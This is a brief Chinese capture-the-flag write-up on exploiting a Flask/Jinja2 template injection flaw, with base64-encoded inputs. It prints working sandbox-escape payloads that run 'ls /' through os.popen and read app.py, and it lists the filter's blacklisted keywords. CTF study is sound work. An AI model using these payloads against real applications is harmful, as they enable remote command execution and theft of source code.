f12发现了提示,但是我对PIN没有了解所以没反应过来
扫了一下网站,发现了一个网站打开
非预期解:
本题存在SSTI注入
加密 {
{
7+7}}
e3s3Kzd9fQ==
解密
回显14 说明是SSTI
python-Flask模版注入攻击SSTI(python沙盒逃逸)
查看根目录:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{
% endif %}{
% endfor %}
解密结果产生no,说明存在waf
可能被过滤了关键字符,但是我们不知道关键字符,所以要读取一下源码app.py(直接用open)
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{
% endif %}{
% endfor %}
测试,返回waf,能看到黑名单black_list
整理:看到flag,os,system,popen,import,eval,chr,request,
subprocess,commands,socket